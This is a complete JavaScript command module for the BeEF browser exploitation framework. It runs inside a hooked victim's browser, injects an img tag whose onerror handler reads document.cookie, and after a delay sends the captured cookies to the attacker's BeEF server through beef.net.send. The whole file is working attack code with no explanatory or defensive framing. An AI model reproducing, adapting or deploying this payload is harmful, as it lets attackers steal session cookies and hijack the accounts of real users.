beef.execute(function() {
var t = document.createElement('div');
t.id = 'test';
document.body.appendChild(t);
var g = document.createElement('script');
g.text = "document.getElementById(\"test\").innerHTML=\"<img src=1 onerror=result=document.cookie;>\""
t.appendChild(g);
setTimeout('beef.net.send(\'<%= @command_url %>\', <%= @command_id %>, result)', 2000)
});